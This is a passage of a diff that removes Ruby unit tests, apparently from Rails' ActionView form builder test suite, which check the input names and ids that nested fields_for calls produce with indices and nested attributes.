-  end
-
-  def test_nested_fields_for_with_nested_collections
-    form_for(@post, as: 'post[]') do |f|
-      concat f.text_field(:title)
-      concat f.fields_for('comment[]', @comment) { |c|
-        concat c.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
-      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
-      "<input name='post[123][comment][][name]' type='text' id='post_123_comment__name' value='new comment' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_and_parent_fields
-    form_for(@post, index: 1) do |c|
-      concat c.text_field(:title)
-      concat c.fields_for('comment', @comment, index: 1) { |r|
-        concat r.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='post[1][title]' type='text' id='post_1_title' value='Hello World' />" +
-      "<input name='post[1][comment][1][name]' type='text' id='post_1_comment_1_name' value='new comment' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_index_and_nested_fields_for
-    output_buffer = form_for(@post, index: 1) do |f|
-      concat f.fields_for(:comment, @post) { |c|
-        concat c.text_field(:title)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='post[1][comment][title]' type='text' id='post_1_comment_title' value='Hello World' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_on_both
-    form_for(@post, index: 1) do |f|
-      concat f.fields_for(:comment, @post, index: 5) { |c|
-        concat c.text_field(:title)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='post[1][comment][5][title]' type='text' id='post_1_comment_5_title' value='Hello World' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_auto_index
-    form_for(@post, as: "post[]") do |f|
-      concat f.fields_for(:comment, @post) { |c|
-        concat c.text_field(:title)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
-      "<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_radio_button
-    form_for(@post) do |f|
-      concat f.fields_for(:comment, @post, index: 5) { |c|
-        concat c.radio_button(:title, "hello")
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_auto_index_on_both
-    form_for(@post, as: "post[]") do |f|
-      concat f.fields_for("comment[]", @post) { |c|
-        concat c.text_field(:title)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
-      "<input name='post[123][comment][123][title]' type='text' id='post_123_comment_123_title' value='Hello World' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_and_auto_index
-    output_buffer = form_for(@post, as: "post[]") do |f|
-      concat f.fields_for(:comment, @post, index: 5) { |c|
-        concat c.text_field(:title)
-      }
-    end
-
-    output_buffer << form_for(@post, as: :post, index: 1) do |f|
-      concat f.fields_for("comment[]", @post) { |c|
-        concat c.text_field(:title)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', method: 'patch') do
-      "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
-    end + whole_form('/posts/123', 'edit_post', 'edit_post', method: 'patch') do
-      "<input name='post[1][comment][123][title]' type='text' id='post_1_comment_123_title' value='Hello World' />"
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
-    @post.author = Author.new
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author) { |af|
-        concat af.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-        '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="new author" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
-    form_for(@post) do |f|
-      f.fields_for(:author, Author.new(123)) do |af|
-        assert_not_nil af.object
-        assert_equal 123, af.object.id
-      end
-    end
-  end
-
-  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
-    @post.author = Author.new(321)
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author) { |af|
-        concat af.text_field(:name)
-      }
-    end
-
-   expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-     '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-     '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
-     '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
-   end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
-    @post.author = Author.new(321)
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author) { |af|
-        af.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
-    @post.author = Author.new(321)
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author, include_id: false) { |af|
-        af.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
-    @post.author = Author.new(321)
-
-    form_for(@post, include_id: false) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author) { |af|
-        af.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
-    @post.author = Author.new(321)
-
-    form_for(@post, include_id: false) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author, include_id: true) { |af|
-        af.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
-    @post.author = Author.new(321)
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author) { |af|
-        concat af.hidden_field(:id)
-        concat af.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        concat f.fields_for(:comments, comment) { |cf|
-          concat cf.text_field(:name)
-        }
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-    @post.author = Author.new(321)
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author) { |af|
-        concat af.text_field(:name)
-      }
-      @post.comments.each do |comment|
-        concat f.fields_for(:comments, comment, include_id: false) { |cf|
-          concat cf.text_field(:name)
-        }
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_inherited
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-    @post.author = Author.new(321)
-
-    form_for(@post, include_id: false) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author) { |af|
-        concat af.text_field(:name)
-      }
-      @post.comments.each do |comment|
-        concat f.fields_for(:comments, comment) { |cf|
-          concat cf.text_field(:name)
-        }
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_disabled_hidden_id_override
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-    @post.author = Author.new(321)
-
-    form_for(@post, include_id: false) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:author, include_id: true) { |af|
-        concat af.text_field(:name)
-      }
-      @post.comments.each do |comment|
-        concat f.fields_for(:comments, comment) { |cf|
-          concat cf.text_field(:name)
-        }
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
-      '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_using_erb_and_inline_block
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        concat f.fields_for(:comments, comment) { |cf|
-          cf.text_field(:name)
-        }
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        concat f.fields_for(:comments, comment) { |cf|
-          concat cf.hidden_field(:id)
-          concat cf.text_field(:name)
-        }
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
-    @post.comments = [Comment.new, Comment.new]
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        concat f.fields_for(:comments, comment) { |cf|
-          concat cf.text_field(:name)
-        }
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="new comment" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
-    @post.comments = [Comment.new(321), Comment.new]
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        concat f.fields_for(:comments, comment) { |cf|
-          concat cf.text_field(:name)
-        }
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_an_empty_supplied_attributes_collection
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:comments, []) do |cf|
-        concat cf.text_field(:name)
-      end
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:comments, @post.comments) { |cf|
-        concat cf.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_arel_like
-    @post.comments = ArelLike.new
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:comments, @post.comments) { |cf|
-        concat cf.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
-    comments = Array.new(2) { |id| Comment.new(id + 1) }
-    @post.comments = []
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:comments, comments) { |cf|
-        concat cf.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
-      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
-    @post.comments = [Comment.new(321), Comment.new]
-    yielded_comments = []
-
-    form_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.fields_for(:comments) { |cf|
-        concat cf.text_field(:name)
-        yielded_comments << cf.object
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-    assert_equal yielded_comments, @post.comments
-  end
-
-  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
-    @post.comments = []
-
-    form_for(@post) do |f|
-      concat f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
-        concat cf.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
-      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  class FakeAssociationProxy
-    def to_ary
-      [1, 2, 3]
-    end
-  end
-
-  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association_with_proxy
-    @post.comments = FakeAssociationProxy.new
-
-    form_for(@post) do |f|
-      concat f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
-        concat cf.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
-      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(@post) do |f|
-      expected = 0
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) { |cf|
-          assert_equal cf.index, expected
-          expected += 1
-        }
-      end
-    end
-  end
-
-  def test_nested_fields_for_index_method_with_existing_and_new_records_on_a_nested_attributes_collection_association
-    @post.comments = [Comment.new(321), Comment.new]
-
-    form_for(@post) do |f|
-      expected = 0
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) { |cf|
-          assert_equal cf.index, expected
-          expected += 1
-        }
-      end
-    end
-  end
-
-  def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(@post) do |f|
-      expected = 0
-      f.fields_for(:comments, @post.comments) { |cf|
-        assert_equal cf.index, expected
-        expected += 1
-      }
-    end
-  end
-
-  def test_nested_fields_for_index_method_with_child_index_option_override_on_a_nested_attributes_collection_association
-    @post.comments = []
-
-    form_for(@post) do |f|
-      f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
-        assert_equal cf.index, 'abc'
-      }
-    end
-  end
-
-  def test_nested_fields_uses_unique_indices_for_different_collection_associations
-    @post.comments = [Comment.new(321)]
-    @post.tags = [Tag.new(123), Tag.new(456)]
-    @post.comments[0].relevances = []
-    @post.tags[0].relevances = []
-    @post.tags[1].relevances = []
-
-    form_for(@post) do |f|
-      concat f.fields_for(:comments, @post.comments[0]) { |cf|
-        concat cf.text_field(:name)
-        concat cf.fields_for(:relevances, CommentRelevance.new(314)) { |crf|
-          concat crf.text_field(:value)
-        }
-      }
-      concat f.fields_for(:tags, @post.tags[0]) { |tf|
-        concat tf.text_field(:value)
-        concat tf.fields_for(:relevances, TagRelevance.new(3141)) { |trf|
-          concat trf.text_field(:value)
-        }
-      }
-      concat f.fields_for('tags', @post.tags[1]) { |tf|
-        concat tf.text_field(:value)
-        concat tf.fields_for(:relevances, TagRelevance.new(31415)) { |trf|
-          concat trf.text_field(:value)
-        }
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
-      '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' +
-      '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
-      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-      '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" type="text" value="tag #123" />' +
-      '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' +
-      '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
-      '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
-      '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" type="text" value="tag #456" />' +
-      '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' +
-      '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
-      '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_hash_like_model
-    @author = HashBackedAuthor.new
-
-    form_for(@post) do |f|
-      concat f.fields_for(:author, @author) { |af|
-        concat af.text_field(:name)
-      }
-    end
-
-    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
-      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
-    end
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for
-    output_buffer = fields_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_index
-    output_buffer = fields_for("post[]", @post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
-      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[123][secret]' type='hidden' value='0' />" +
-      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_nil_index_option_override
-    output_buffer = fields_for("post[]", @post, index: nil) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
-      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[][secret]' type='hidden' value='0' />" +
-      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_index_option_override
-    output_buffer = fields_for("post[]", @post, index: "abc") do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[abc][title]' type='text' id='post_abc_title' value='Hello World' />" +
-      "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[abc][secret]' type='hidden' value='0' />" +
-      "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_without_object
-    output_buffer = fields_for(:post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_with_only_object
-    output_buffer = fields_for(@post) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_fields_for_object_with_bracketed_name
-    output_buffer = fields_for("author[post]", @post) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
-    "<input name='author[post][title]' type='text' id='author_post_title' value='Hello World' />",
-      output_buffer
-  end
-
-  def test_fields_for_object_with_bracketed_name_and_index
-    output_buffer = fields_for("author[post]", @post, index: 1) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-    end
-
-    assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
-      "<input name='author[post][1][title]' type='text' id='author_post_1_title' value='Hello World' />",
-      output_buffer
-  end
-
-  def test_form_builder_does_not_have_form_for_method
-    assert !ActionView::Helpers::FormBuilder.instance_methods.include?(:form_for)
-  end
-
-  def test_form_for_and_fields_for
-    form_for(@post, as: :post, html: { id: 'create-post' }) do |post_form|
-      concat post_form.text_field(:title)
-      concat post_form.text_area(:body)
-
